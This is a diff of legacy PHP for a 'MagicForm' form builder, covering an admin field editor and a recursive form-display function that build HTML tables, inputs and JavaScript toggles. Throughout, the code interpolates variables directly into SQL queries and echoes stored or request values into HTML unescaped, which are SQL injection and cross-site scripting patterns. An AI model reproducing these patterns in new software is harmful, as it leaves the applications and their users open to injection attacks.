+                                                                                       <CENTER><INPUT TYPE="submit" NAME="mf_action" VALUE="Update Text" STYLE="font-size: '.$font_size.';"></CENTER>
+                                                                                       </FORM>
+                                                                               ' );
+                                       break;
+                                               
+                                       // Horizontal Line
+                                                                       
+                               case 22:
+                                       $mf_type_text = 'Horiz Line';
+                                       $mf_text = '<hr>';
+                                       break;
+                                               
+                                       // Blank Line
+                                                                       
+                               case 23:
+                                       $mf_type_text = 'Blank Line';
+                                       $mf_text .= '(a blank line)'; 
+                                       break;
+                                               
+                                       // Display Image
+                                                       
+                               case 24:
+                                       $mf_type_text = 'Image';
+                                       switch( $mf['size'] )
+                                               {
+                                               case 'original':        $image_size_url = SI_IMG_ORIGINAL_URL;  break;
+                                               case 'resized':         $image_size_url = SI_IMG_RESIZED_URL;   break;
+                                               case 'midsized':        $image_size_url = SI_IMG_MIDSIZED_URL;  break;
+                                               default:
+                                               case 'thumb':           $image_size_url = SI_IMG_THUMB_URL;             break;
+                                               }
+                                               
+                                       $mf_data .= quick_edit( $mf['id'].'_image',
+                                                                                       ( $mf['file'] != '' ?
+                                                                                                       '<img src="'.$image_size_url.'/'.$mf['file'].'">'
+                                                                                       :
+                                                                                               '<SPAN CLASS="standout">(Image not set)</SPAN>'
+                                                                                       ), 
+                                                                                       $base_form_data.'<TABLE BORDER="0" width="100%">
+                                                                                               <TR>
+                                                                                                       <TD COLSPAN="2" align="center">'.( $mf['file'] != '' ? '<img src="'.SI_IMG_THUMB_URL.'/'.$mf['file'].'">':'(no image)').'</TD>
+                                                                                               </TR>
+                                                                                               <TR>
+                                                                                                       <TD ALIGN="right">Delete existing Image:</TD>
+                                                                                                       <TD ALIGN="left"><INPUT TYPE="checkbox" NAME="mf_field_image_delete"></TD>
+                                                                                               </TR>
+                                                                                               <TR>
+                                                                                                       <TD ALIGN="right">Image Size:</TD>
+                                                                                                       <TD ALIGN="left">
+                                                                                                               <SELECT NAME="mf_field_imagesize">
+                                                                                                                       <OPTION VALUE="original"'.($mf['size']=='original'?' SELECTED':'').'>Original</OPTION>
+                                                                                                                       <OPTION VALUE="resized"'.($mf['size']=='resized'?' SELECTED':'').'>Resized</OPTION>
+                                                                                                                       <OPTION VALUE="midsized"'.($mf['size']=='midsized'?' SELECTED':'').'>Midsized</OPTION>
+                                                                                                                       <OPTION VALUE="thumb"'.($mf['size']=='thumb'?' SELECTED':'').'>Thumbnail</OPTION>
+                                                                                                               </SELECT>
+                                                                                                       </TD>
+                                                                                               </TR>
+                                                                                               <TR>
+                                                                                                       <TD ALIGN="right">Select Image:</TD>
+                                                                                                       <TD ALIGN="left"><INPUT TYPE="file" NAME="mf_field_image"></TD>
+                                                                                               </TR>
+                                                                                       </TABLE>
+                                                                                       <CENTER><INPUT TYPE="submit" NAME="mf_action" VALUE="Update Image" STYLE="font-size: '.$font_size.';"></CENTER>
+                                                                                       </FORM>
+                                                                               ' );
+                                       break;
+                                               
+                                       // File Download
+                                       
+                               case 25: 
+
+                                       $mf_type_text = 'File Download';
+                                       $mf_data .= quick_edit( $mf['id']."_file",
+                                                                                       ( $mf['file'] != '' ?
+                                                                                                       '<SPAN CLASS="standout">File: '.$mf['file'].'</SPAN>'
+                                                                                       :
+                                                                                               '<SPAN CLASS="standout">(File not provided)</SPAN>'
+                                                                                       ), 
+                                                                                       $base_form_data.'<TABLE BORDER="0" width="100%">'
+                                                                                       .( $mf['file'] != '' ?
+                                                                                               '<TR>
+                                                                                                       <TD ALIGN="right" VALIGN="top">Current File:</TD>
+                                                                                                       <TD ALIGN="left" COLSPAN="2">
+                                                                                                               <a href="'.SI_BASE_FILE_URL.'/'.$mf['file'].'" target="file_page">'.$mf['file'].'</a>
+                                                                                                               <INPUT TYPE="checkbox" NAME="mf_field_file_delete"> Delete this file
+                                                                                                       </TD>
+                                                                                                </TR>
+                                                                                                <TR><TD COLSPAN="2">&nbsp;</TD></TR>
+                                                                                       ' : '' ).'
+                                                                                                <TR>
+                                                                                                       <TD ALIGN="right" VALIGN="top">Upload/Replace File:</TD>
+                                                                                                       <TD ALIGN="left" COLSPAN="2" VALIGN="top"><INPUT TYPE="file" NAME="mf_field_file"></TD>
+                                                                                               </TR>
+                                                                                       </TABLE>
+                                                                                       <CENTER><INPUT TYPE="submit" NAME="mf_action" VALUE="Update File" STYLE="font-size: '.$font_size.';"></CENTER>
+                                                                                       </FORM>
+                                                                               ' );
+                                       
+                                       break;
+       
+                                       // Calculated field
+                                       
+                               case 31:
+                                               // Not yet implimented
+                                       break;
+                                                                                                               
+                               case 0:
+                               default:
+                                       $mf_data = '&nbsp;';                                                                    
+
+                                       break;  
+                               }
+                                                       
+                               // Build list of available styles for this field
+
+                       $mf_style_list = '';
+                       reset( $mf_styles );
+                       while( list($key, $val) = each($mf_styles) )
+                               if( strstr( $val['types'], ' '.$mf['type'].' ' ) )
+                                       $mf_style_list .= '<option value="'.$key.'"'.($mf['style']==$key?' SELECTED':'').'>'.$key.'</option>';
+
+                               // Extract current format info and build list of possible formats for this field
+                                                               
+                       $mf_cf = explode( '~', $mf['format'] );
+                       $mf_format_list = '';
+                       reset( $mf_formats );
+                       while( list($key, $val) = each($mf_formats) )
+                               if( strstr( $val['types'], ' '.$mf['type'].' ' ) )
+                                       $mf_format_list .= '<option value="'.$key.'"'.($mf_cf[0]==$key?' SELECTED':'').'>'.$key.'</option>';
+                       
+                               // Display Title, descr, and optionally size with QuickEdit pop-up
+                               
+                       if( $mf['type'] > 0 && ( $mf['type'] < 20 || $mf['type'] == 24 || $mf['type'] == 25 ) )
+                               $mf_text .= quick_edit( $mf['id'],
+                                                                                       '<SPAN CLASS="standout">Title: '.stripslashes($mf['title']).'</SPAN>'
+                                                                                       .( $mf['expanded'] == 't' ? 
+                                                                                               '<BR>
+                                                                                               <SPAN CLASS="standout_small">Descr: '.stripslashes($mf['descr'])
+                                                                                               .( $mf['type'] >= 2 && $mf['type'] <= 4 ? 
+                                                                                                               '<BR>Columns: '.$mf['cols']
+                                                                                                       .( $mf['type'] == 4 ?
+                                                                                                               '<BR>Rows: '.$mf['rows']
+                                                                                                       : '' )
+                                                                                               : '' )
+                                                                                               .( $mf['type'] >= 2 && $mf['type'] <= 3 ? 
+                                                                                                               '<BR>Default Value: '.$mf['default_val']
+                                                                                               : '' )
+                                                                                       : '' ), 
+                                                                                       $base_form_data.'<TABLE BORDER="0">
+                                                                                               <TR>
+                                                                                                       <TD>&nbsp;</TD>
+                                                                                                       <TD ALIGN="right" VALIGN="top">Title:</TD>
+                                                                                                       <TD ALIGN="left" COLSPAN="3" VALIGN="top"><INPUT TYPE="text" NAME="mf_field_title" VALUE="'.stripslashes($mf['title']).'" STYLE="font-size: '.$font_size.';" SIZE="70"></TD>
+                                                                                               </TR>
+                                                                                               <TR>
+                                                                                                       <TD>&nbsp;</TD>
+                                                                                                       <TD ALIGN="right" VALIGN="top">Descr:</TD>
+                                                                                                       <TD ALIGN="left" COLSPAN="3" VALIGN="top"><TEXTAREA NAME="mf_field_descr" STYLE="font-size: '.$font_size.';" COLS="67" ROWS="3">'.stripslashes($mf['descr']).'</TEXTAREA></TD></TR>
+                                                                                               </TR>
+                                                                               '.( $mf['type'] >= 2 && $mf['type'] <= 4 ? '
+                                                                                               <TR>
+                                                                                                       <TD>&nbsp;</TD>
+                                                                                                       <TD ALIGN="right" VALIGN="top">Columns:</TD>
+                                                                                                       <TD ALIGN="left" COLSPAN="3" VALIGN="top"><INPUT TYPE="text" NAME="mf_field_cols" VALUE="'.$mf['cols'].'" STYLE="font-size: '.$font_size.';" SIZE="6"> </TD></TR>
+                                                                                               </TR>
+                                                                                       '.( $mf['type'] == 4 ? '
+                                                                                               <TR>
+                                                                                                       <TD>&nbsp;</TD>
+                                                                                                       <TD ALIGN="right" VALIGN="top">Rows:</TD>
+                                                                                                       <TD ALIGN="left" COLSPAN="3" VALIGN="top"><INPUT TYPE="text" NAME="mf_field_rows" VALUE="'.$mf['rows'].'" STYLE="font-size: '.$font_size.';" SIZE="6"> </TD></TR>
+                                                                                               </TR>
+                                                                                       ' : '' ).'
+                                                                               ' : '' ).'
+                                                                               '.( $mf['type'] >= 2 && $mf['type'] <= 3 ? '
+                                                                                               <TR>
+                                                                                                       <TD>&nbsp;</TD>
+                                                                                                       <TD ALIGN="right" VALIGN="top">Default Value:</TD>
+                                                                                                       <TD ALIGN="left" COLSPAN="3" VALIGN="top"><INPUT TYPE="text" NAME="mf_def_val" VALUE="'.$mf['default_val'].'" STYLE="font-size: '.$font_size.';" SIZE="30"> </TD></TR>
+                                                                                               </TR>
+                                                                               ' : '' ).'
+                                                                                       </TABLE>
+                                                                                       <CENTER><INPUT TYPE="submit" NAME="mf_action" VALUE="Update Field" STYLE="font-size: '.$font_size.';"></CENTER>
+                                                                                       </FORM>
+                                                                               ' );
+
+                                               
+                       $r['text'] .= '<TBODY>
+                                                               <TR>
+                                                                       <TD VALIGN="top" WIDTH="100" ROWSPAN="2">'
+                                                                               .'<form action="'.SI_THIS_SCRIPT.'"'.$form_data.$mf_form_data.'
+                                                                                       <input type="hidden" name="mf_action" value="Reposition">
+                                                                                       <input type="hidden" name="mf_field_id" value="'.$mf['id'].'">
+                                                                                       <INPUT TYPE="text" NAME="mf_position_num" ID="mf_field_'.$mf['id'].'" VALUE="'.($mf['sort']/10).'" SIZE="5" onChange="submit();" >&nbsp;'
+                                                                                       .'<A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Reposition&mf_field_id='.$mf['id'].'&mf_position='.( $mf['sort'] - 15 ).'">&uarr;</A>&nbsp;'
+                                                                                       .'<A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Reposition&mf_field_id='.$mf['id'].'&mf_position='.( $mf['sort'] + 15 ).'">&darr;</A>&nbsp;
+                                                ';
+                       if( $mf['expanded'] == 't' )
+                               {                                                
+                               $r['text'] .= '         <BR>
+                                                                               <span class="standout_small">'
+                                                               .( $mf_type_text != '' ?
+                                                                                       $mf_type_text
+                                                                               .'</span><BR>
+                                                                               <span class="standout_small">'
+                                                                                       .quick_edit( $mf['id']."_style", 
+                                                                                       $mf_styles[$mf['style']]['short_name'],
+                                                                                       '<CENTER>
+                                                                                               <FORM NAME="set_style" ACTION="'.SI_THIS_SCRIPT.'">
+                                                                                                       '.$form_data.$mf_form_data.'
+                                                                                                       Set style For this field: 
+                                                                                                       <input type="hidden" name="mf_field_id" value="'.$mf['id'].'">
+                                                                                                       <SELECT NAME="mf_style">
+                                                                                                               '.$mf_style_list.'
+                                                                                                       </SELECT>
+                                                                                                       <INPUT TYPE="submit" NAME="mf_action" VALUE="Set Style">
+                                                                                                       </form>
+                                                                                       </CENTER>' ).'
+                                                                               </span><BR>
+                                                                       '.( $mf_format_list != '' ? '
+                                                                               <span class="standout_small">'
+                                                                                       .quick_edit( $mf['id']."_format", 
+                                                                                       ( $mf_cf[0] != '' ? $mf_formats[$mf_cf[0]]['short_name'] : 'Default Format' ),
+                                                                                       '<CENTER>
+                                                                                               <FORM NAME="set_format" ACTION="'.SI_THIS_SCRIPT.'">
+                                                                                                       '.$form_data.$mf_form_data.'
+                                                                                                       <table border="0">
+                                                                                                         <tr>
+                                                                                                               <td align="right">Format Type: </td>
+                                                                                                               <td align="left"><input type="hidden" name="mf_field_id" value="'.$mf['id'].'">
+                                                                                                                       <SELECT NAME="mf_format_type">
+                                                                                                                               '.$mf_format_list.'
+                                                                                                                       </SELECT>
+                                                                                                               </td>
+                                                                                                         </tr>
+                                                                                                         <tr>
+                                                                                                               <td align="right">Maximum Characters/Digits to left of decimal point: </td>
+                                                                                                               <td align="left"><INPUT TYPE="text" NAME="mf_format_char" VALUE="'.$mf_cf[1].'" SIZE="6"></td>
+                                                                                                         </tr>
+                                                                                                         <tr>
+                                                                                                               <td align="right">Digits after Decimal Point: </td>
+                                                                                                               <td align="left"><INPUT TYPE="text" NAME="mf_format_dec" VALUE="'.$mf_cf[2].'" SIZE="6"></td>
+                                                                                                         </tr>
+                                                                                                         <tr>
+                                                                                                               <td align="right">Number Range: </td>
+                                                                                                               <td align="left"><INPUT TYPE="text" NAME="mf_format_min" VALUE="'.$mf_cf[3].'" SIZE="6"> Min <INPUT TYPE="text" NAME="mf_format_max" VALUE="'.$mf_cf[4].'" SIZE="6"> Max</td>
+                                                                                                         </tr>
+                                                                                                         <tr><td colspan="2" align="center">(Note: Not all fields used for all format types.)</td></tr>
+                                                                                                         <tr><td colspan="2" align="center"><INPUT TYPE="submit" NAME="mf_action" VALUE="Set Field Format"></td></tr>
+                                                                                                       </table>
+                                                                                                       </form>
+                                                                                       </CENTER>' ).'
+                                                                               </span><BR>
+                                                                       ' : '' ).'
+                                                                               <span class="standout_small"><nobr>ID: '
+                                                                                       .quick_edit( $mf['id']."_id", 
+                                                                                       ( $mf['custom_id'] != '' ? $mf['custom_id'] : 'mf_'.$mf['id'] ),
+                                                                                       '<CENTER>
+                                                                                               <FORM NAME="set_style" ACTION="'.SI_THIS_SCRIPT.'">
+                                                                                                       '.$form_data.$mf_form_data.'
+                                                                                                       Custom ID: 
+                                                                                                       <input type="hidden" name="mf_field_id" value="'.$mf['id'].'">
+                                                                                                       <input type="text" name="mf_custom_id" value="'.$mf['custom_id'].'" size="15"><br>
+                                                                                                       Clear to reset to default ID.<P>
+                                                                                                       <INPUT TYPE="submit" NAME="mf_action" VALUE="Set Custom ID">
+                                                                                                       </form>
+                                                                                       </CENTER>' ).'
+                                                                               </nobr></span><BR>'.( $mf_custom_id_update_message != '' ? '<font color="red">'.$mf_custom_id_update_message.'</font><br>' : '' ).'
+                                                               ' : 
+                                                                                       quick_edit( $mf['id'], 
+                                                                                       '<font color="red">Type Not Set</font>',
+                                                                                       '<CENTER>
+                                                                                               <FORM NAME="add_field" ACTION="'.SI_THIS_SCRIPT.'">
+                                                                                                       '.$form_data.$mf_form_data.'
+                                                                                                       <font color="red">Set field type: </font>
+                                                                                                       <input type="hidden" name="mf_field_id" value="'.$mf['id'].'">
+                                                                                                       <SELECT NAME="mf_type">
+                                                                                                               <OPTION VALUE="1">Checkbox
+                                                                                                               <OPTION VALUE="2">Number
+                                                                                                               <OPTION VALUE="3">Text
+                                                                                                               <OPTION VALUE="4">Text Box
+                                                                                                               <OPTION VALUE="5">Picklist
+                                                                                                               <OPTION VALUE="6">Radio Buttons
+                                                                                                               <OPTION VALUE="7">File Upload
+                                                                                                               <OPTION VALUE="20">Section Title
+                                                                                                               <OPTION VALUE="21">Misc. Text
+                                                                                                               <OPTION VALUE="22">Horizontal Line
+                                                                                                               <OPTION VALUE="23">Blank Line
+                                                                                                               <OPTION VALUE="24">Display Image
+                                                                                                               <OPTION VALUE="25">Download File
+                                                                                                               <!-- <OPTION VALUE="31">Calculated Field (currently dissabled) -->
+                                                                                                       </SELECT>
+                                                                                                       <INPUT TYPE="submit" NAME="mf_action" VALUE="Set Type">
+                                                                                                       </form>
+                                                                                       </CENTER>' ).'<br>
+                                                                       <font color="red">Field Style Not Set</font>'
+                                                               ).'<br>
+
+                                                                               <A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Toggle+Active&mf_field_id='.$mf['id'].'">'.( $mf['active'] == 't' ? 'Active' : '<FONT COLOR="#c0c0c0">Active</FONT>' ).'&nbsp;&nbsp;</A><br>
+                                                                               '.( $mf['type'] > 1 && $mf['type'] < 20 ? '<A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Toggle+Required&mf_field_id='.$mf['id'].'">'.($mf['required']=='t'?'Required':'<FONT COLOR="#c0c0c0">Required</FONT>').'</A>&nbsp;&nbsp;':'&nbsp;').'
+                                                               
+                                                        ';
+                               }
+                               
+                       $r['text'] .= '</TD>
+                                                       ';
+
+                       if( !empty($mf_text) )
+                               $r['text'] .= ' <TD ALIGN="left" VALIGN="top">'.$mf_text.'</TD>';
+                         else
+                               $r['text'] .= ' <TD>&nbsp;</TD>';
+       
+                       $r['text'] .= '         <TD VALIGN="top" ALIGN="right">
+                                                               '.( $mf['expanded'] == 't' ?
+                                                                       '<A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Toggle+Expanded&mf_field_id='.$mf['id'].'">[Contract]</A><BR>
+                                                                       <A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Delete&mf_field_id='.$mf['id'].'">[Delete]</A>&nbsp;<BR>
+                                                                       <A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Add+Field&mf_position='.( $mf['sort'] - 5 ).'"><nobr>[Add Above]</nobr></A>&nbsp;'
+                                                               :
+                                                                       '<A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Toggle+Expanded&mf_field_id='.$mf['id'].'">[Expand]</A>'
+                                                               ).' 
+                                                         </TD>
+                                                       </TR>
+                                                       '.( $mf['expanded'] == 't' ? '<TR><TD VALIGN="top" COLSPAN="3">'.$mf_data.'</TD></TR>' : '<TR><TD COLSPAN="3"></TD></TR>' ).'
+                                                       </TBODY>
+                                                ';
+                       }       
+               }
+               
+
+       $r['text'] .= '<TR><TD COLSPAN="3" ALIGN="right">
+                                       <A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Add+Field&mf_position=9999">[Add New Field]</A>
+                                       <A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Expand+All">[Expand All]</A>
+                                       <A HREF="'.SI_THIS_SCRIPT.'?'.$link_data.$mf_link_data.'&mf_action=Contract+All">[Contract All]</A>
+                                 </TD></TR></TABLE>
+                                ';
+       $r['success'] = true;
+
+       return( $r );
+
+       }
+
+       // MagicForm - Display Form
+
+function magic_form_display( $mf_id, $mf_styles, $mf_fiid = null,  $mf_def_data = array(), $mf_level = 0 )
+       {
+
+       global $mf_formats;
+               
+               // Get the fields specifications for the specified form
+
+       $mf_fields = db_auto_get_data( "SELECT * FROM ".MF_TABLE." WHERE form_id = '$mf_id' ORDER BY sort;", SI_CONN_STR, FALSE );
+
+               // If this is level 0, get any data supplied from earlier form submissions, if level > 0 then use data we already have 
+
+       if( $mf_fiid != null  )
+               $mf_data = db_auto_get_data( "SELECT * FROM ".MF_DATA_TABLE." WHERE fiid = '$mf_fiid' ORDER BY sort;", SI_CONN_STR, FALSE );
+         else
+           $mf_data = &$mf_def_data;
+
+           // Initialize results array
+           
+       $r = array( 'success' => true, 'text' => '', 'required' => false );
+       
+       $mf_level++;            // Incriment MagicForm recurse level (not shure why we're doing this though)
+       $problem = '';
+       $current_style = '';
+       $current_collumn = 1;
+
+       if( is_array($mf_fields) )
+               {
+                       
+               reset( $mf_fields );
+               foreach( $mf_fields as $mf )
+                       {                                       
+                       
+                       if( $mf['active'] == 't' )
+                               {
+                               
+                                       //
+                                       // Style/Layout Stuff
+                                       //
+                                       
+                                       // Determine format spec
+                                       
+                               $f = $mf_styles[$mf['style']];          // just use default for now and assume 1 col/row
+
+                                       // Check if we're switching styles and handle accordingly
+                               
+                               if( $current_style != $mf['style'] )
+                                       {
+                                               // If this is not the first style
+                                       if( $current_style != '' )
+                                               {
+                                                       // If not at the last column, fill with blank cells
+                                               if( $current_column < $mf_styles[$current_style]['cols'] )
+                                                       for( $i=$current_column ; $i<=$mf_styles[$current_style]['cols'] ; $i++ )
+                                                               $r['text'] .= $mf_styles[$current_style]['col_empty'];
+                                               $r['text'] .= $mf_styles[$current_style]['row_end'].$mf_styles[$current_style]['end'];
+                                               }
+                                       
+                                               // Set new style and output start and row headder
+                                       $current_style = $mf['style'];
+                                       $r['text'] .= $f['start'].$f['row_start'];
+                                       $current_collumn = 1;
+                                       }
+                               
+                                       // Check if we need to start a new row
+                               
+                               if( $current_collumn++ > $f['cols'] )
+                                       {
+                                       $r['text'] .= $f['row_end'].$f['row_start'];
+                                       $current_collumn = 1;
+                                       }
+
+                                       //
+                                       // End of Style/Layout stuff
+                                       //
+
+                               $view_tags = array ( "global"   => array() );
+                               $v = &$view_tags["global"];
+
+                               $field_name = 'mf_'.$mf['id'];                                                                                                          // Name we're going to use for this field
+                               $v['title']     = stripslashes($mf['title']);
+                               $v['descr']     = stripslashes($mf['descr']);
+                               $v['required'] = '';
+                               if( $mf['type'] > 1 && $mf['type'] < 20 && $mf['required'] == 't' )                                     // if field is required, display in red
+                                       {
+                                       $v['required'] = 'Yes';
+                                       $r['required'] = true;
+                                       }
+                               $v['image'] = $v['file'] = $v['input'] = '';
+                               
+                               $GLOBALS['mf_'.$mf['id']] = stripslashes($GLOBALS['mf_'.$mf['id']]);                            // get current field input data
+                       
+                               $v['sub_forms'] = '';                                                                                                                           // Start with no sub-forms
+                               
+                                       // Check for default data for this field and use either opt_num or value depending on type
+
+                               if( is_array($x=$mf_def_data[$mf['id']]) )
+                                       switch( $mf['type'] )
+                                               {
+                                               case 1:         // Checkbox
+                                               case 5:         // Picklist
+                                               case 6:         // Radio Buttons
+                                                       $inp = $x['opt_num'];
+                                                       break;
+                                               default:
+                                                       $inp = $x['value'];
+                                                       break;
+                                               }
+                                 else
+                                       $inp = $mf['default_val'];              // Otherwise use defaut data
+
+                                       // Extract field format specs and replace occurances of {chars} and {prec}
+
+                               $mf_cf = explode( '~', $mf['format'] );
+                               $mf_cf_size = $mf_cf[1] + ($mf_cf[2]>0?1:0) + $mf_cf[2]; 
+                               $mf_cf_out = str_replace( '{chars}', $mf_cf[1], $mf_formats[$mf_cf[0]]['format'] );
+                               $mf_cf_out = str_replace( '{prec}', $mf_cf[2], $mf_cf_out );
+
+                               if( $mf_cf_out == '' )  // If nothing specified, default to simple string out
+                                       $mf_cf_out = '%s';
+                                       
+                               switch( $mf['type'] )
+                                       {
+                                               
+                                       case 1:         // Checkbox
+
+                                                       // Build most of checkbox input tag but leave open for rest of JAVAscript onChange text
+
+                                               $v['input'] = '<INPUT TYPE="checkbox" NAME="'.$field_name.'" id="'.$field_name.'" '.($inp=='1'?' CHECKED':'').' onClick="';
+                                               $ans = explode( "|", $mf['data1'] );                                    // Separate answers
+       
+                                               if( $inp == '' ) $inp = 0;      // Default to false
+                                               $xv = '';
+
+                                                       // Check response for subform ($i=1 - Yes, $i=2 - No)
+                                               for( $i=1 ; $i<=2 ; $i++ )
+                                                       {
+                                                       $an = explode( '~', $ans[$i-1] );
+
+                                                               // Check for a sub-form
+                                                               
+                                                       if( !empty($an[1]) )
+                                                               {
+                                                               $sub = magic_form_display( $an[1], $mf_styles, null, $mf_def_data, $mf_level );
+                                                               if( $sub['success'] )
+                                                                       {
+                                                                       $v['sub_forms'] .= '<div id="'.$field_name.'_'.$i.'" style="display: '.($inp==$i?'block':'none').';"> '.str_replace( "{sub_form}", $f['sub_form'], $sub['text'] ).'</div>';
+                                                                       $v['input'] .= "document.getElementById('".$field_name."_$i').style.display = document.getElementById('".$field_name."').checked == ".($i==1?'true':'false')." ? 'block' : 'none'; ";
+                                                                       }
+                                                                 else
+                                                                       $v['sub_forms'] .= '<p><font color="red">FORM ERROR</font>: Unable to process sub-form for checkbox: '.$mf['title'].'<p>';
+                                                               }
+
+                                                               // Optionally set value if this is the "Yes" option
+                                                               
+                                                       if( $i==0 && $an[2] != '' )
+                                                               switch( $an[3] )
+                                                                       {
+                                                                       case 1:         $xv .= " ".money($an[2]);               break;
+                                                                       default:        $xv .= " ".$an[2];                              break;
+                                                                       }
+
+                                                       }
+                                               
+                                               $v['input'] .= '"> '.$xv;               // Close onChange string
+               
+                                               break;
+                                       
+                                       case 2:         // Number
+                                       case 3:         // Text
+                                               $inp = trim( str_replace( array( '|', '~' ), '', $inp ) );
+                                               $v['input'] = '<INPUT TYPE="text" NAME="mf_'.$mf['id'].'" VALUE="'.trim(sprintf( $mf_cf_out, $inp )).'" SIZE="'.$mf['cols'].'" '.($mf_cf_size>0?' maxlength="'.$mf_cf_size.'"':'').'>';
+                                               break;
+                               
+                                       case 4:         // Text Box
+                                               $inp = trim( str_replace( array( '|', '~' ), '', $inp ) );
+                                               $v['input'] = '<TEXTAREA NAME="mf_'.$mf['id'].'" COLS="'.$mf['cols'].'" rows="'.$mf['rows'].'">'.$inp.'</TEXTAREA>';
+                                               break;
+                               
+                                       case 5:         // Picklist
+                                               $opts = explode( "|", $mf['data1'] );
+                                               $sel = '<SELECT NAME="mf_'.$mf['id'].'" id="'.$field_name.'" onChange="';
+                                               $sel_opts = '<OPTION VALUE="" '.($inp==''?'SELECTED':'').'>';
+                                               $n = 1;
+                                               foreach( $opts as $opt )
+                                                       {
+                                                       $an = explode( "~", $opt );
+
+                                                       $sel_opts .= '<OPTION VALUE="'.$n.'"';
+                                                       if( $inp == $n )
+                                                               $sel_opts .= ' SELECTED';
+                                                       if( !empty($an[1]) )
+                                                               {
+                                                               $sub = magic_form_display( $an[1], $mf_styles, null, $mf_def_data, $mf_level );
+                                                               if( $sub['success'] )
+                                                                       {
+                                                                       $v['sub_forms'] .= '<div id="'.$field_name.'_'.$n.'" style="display: '.($n==$inp?'block':'none').';"> '.str_replace( "{sub_form}", $f['sub_form'], $sub['text'] ).'</div>';
+                                                                       $sel .= "document.getElementById('".$field_name."_$n').style.display = document.getElementById('".$field_name."').value == '".$n."' ? 'block' : 'none'; ";                                              
+                                                                       }
+                                                                 else
+                                                                       $v['sub_forms'] .= '<p><font color="red">FORM ERROR</font>: Unable to process sub-form for picklist: '.$mf['title'].'<p>';
+                                                               }
+                                                       $n++;
+                                                       $sel_opts .= '> '.$an[0];
+
+                                                               // Optionally set value if this is the "Yes" option
+                                                               
+                                                       if( $an[2] != '' )
+                                                               switch( $an[3] )
+                                                                       {
+                                                                       case 1:         $sel_opts .= " - ".money($an[2]);               break;
+                                                                       default:        $sel_opts .= " - ".$an[2];                              break;
+                                                                       }
+
+                                                       }
+                                               $v['input'] .= $sel.'">'.$sel_opts.'</SELECT>';
+                                               break;
+                               
+                                       case 6:         // Radio Buttons
+                                               $opts = explode( "|", $mf['data1'] );
+                                               $sel  = '';
+                                               $n = 1;
+                                               $sub_func = ' <script language="JavaScript1.2"> function f_'.$field_name.'(v){ ';
+                                               foreach( $opts as $opt )
+                                                       {
+                                                       $an = explode( "~", $opt );
+                                                       $sel .= '<NOBR><INPUT TYPE="radio" NAME="mf_'.$mf['id'].'" VALUE="'.$n.'"';
+                                                       if( $inp == $n )
+                                                               $sel .= ' CHECKED';
+                                                       $sel .= ' onClick="f_'.$field_name."('".$n."'); \"";
+                                                       if( !empty($an[1]) )
+                                                               {
+                                                               $sub_func .= " document.getElementById('".$field_name.'_'.$n."').style.display = v == '".$n."' ? 'block': 'none'; ";
+                                                               $sub = magic_form_display( $an[1], $mf_styles, null, $mf_def_data, $mf_level );
+                                                               if( $sub['success'] )
+                                                                       $v['sub_forms'] .= '<div id="'.$field_name.'_'.$n.'" style="display: '.($n==$inp?'block':'none').';"> '.str_replace( "{sub_form}", $f['sub_form'], $sub['text'] ).'</div>';
+                                                                 else
+                                                                       $v['sub_forms'] .= '<p><font color="red">FORM ERROR</font>: Unable to process sub-form for radio buttons: '.$mf['title'].'<p>';
+                                                               }
+                                                       $n++;
+                                                       $sel .= '>'.$an[0];
+
+                                                               // Optionally set value if this is the "Yes" option
+                                                               
+                                                       if( $an[2] != '' )
+                                                               switch( $an[3] )
+                                                                       {
+                                                                       case 1:         $sel .= " - ".money($an[2]);            break;
+                                                                       default:        $sel .= " - ".$an[2];                           break;
+                                                                       }
+                                                       
+                                                       $sel .= '</nobr>';
+
+                                                       }
+                                               $sub_func .= ' } </script>';
+                                               $v['input'] = $sub_func.$sel;
+                                               break;
+                                       
+                                       case 7:         // File Upload
+                                               $inp = trim( str_replace( array( '|', '~' ), '', $inp ) );
+                                               $v['input'] = '<INPUT TYPE="hidden" NAME="exist_mf_'.$mf['id'].'" value="'.$inp.'">
+                                                                               <table border="1">
+                                                                         ';
+                                               if( $inp != '' )
+                                                       $v['input'] .= '<tr><td><a href="'.SI_BASE_FILE_URL.'/'.$inp.'" target="file_page">'.$inp.'</a></td><td><input type="checkbox" name="delete_mf_'.$mf['id'].'"> Delete</td></tr>
+                                                                                       ';
+                                               $v['input'] .= '<tr><td colspan="2"><INPUT TYPE="file" NAME="mf_'.$mf['id'].'" VALUE="'.$inp.'" SIZE="'.$mf['cols'].'"></td></tr>
+                                                                               </table>';
+                                               break;
+                               
+                                       case 20:        // Section Title
+                                               $v['title'] = stripslashes($mf['data1']);
+                                               $v['input'] = '';
+                                               break;
+                                       
+                                       case 21:        // Misc. Text
+                                               $v['title'] = '';
+                                               $v['input'] = stripslashes($mf['data1']);
+                                               break;
+                               
+                                       case 24:        // Image
+                                       switch( $mf['size'] )
+                                               {
+                                               case 'original':        $image_size_url = SI_IMG_ORIGINAL_URL;  break;
+                                               case 'resized':         $image_size_url = SI_IMG_RESIZED_URL;   break;
+                                               case 'midsized':        $image_size_url = SI_IMG_MIDSIZED_URL;  break;
+                                               default:
+                                               case 'thumb':           $image_size_url = SI_IMG_THUMB_URL;             break;
+                                               }
+
+                                               $v['image'] = '<u><img src="'.$image_size_url.'/'.$mf['file'].'"></u>';
+                                               break;
+                                       
+                                       case 25:        // File
+                                               $v['title'] = '<a href="'.SI_BASE_FILE_URL.'/'.$mf['file'].'" target="file_page">'.(trim($mf['title'])!=''?$mf['title']:$mf['file']).'</a>';
+                                               break;
+                                       
+                                       case 22:        // Horizontal Line
+                                       case 23:        // Blank Line (space)
+                                       default:
+                                               $v['title'] = '';
+                                               $v['input'] = '';
+                                               break;
+
+                                       }       // Type
+
+                               $r['text'] .= parse_string_view( $f['body'], $view_tags );
+
+                               }       // Active
+                       }       // Each field
+
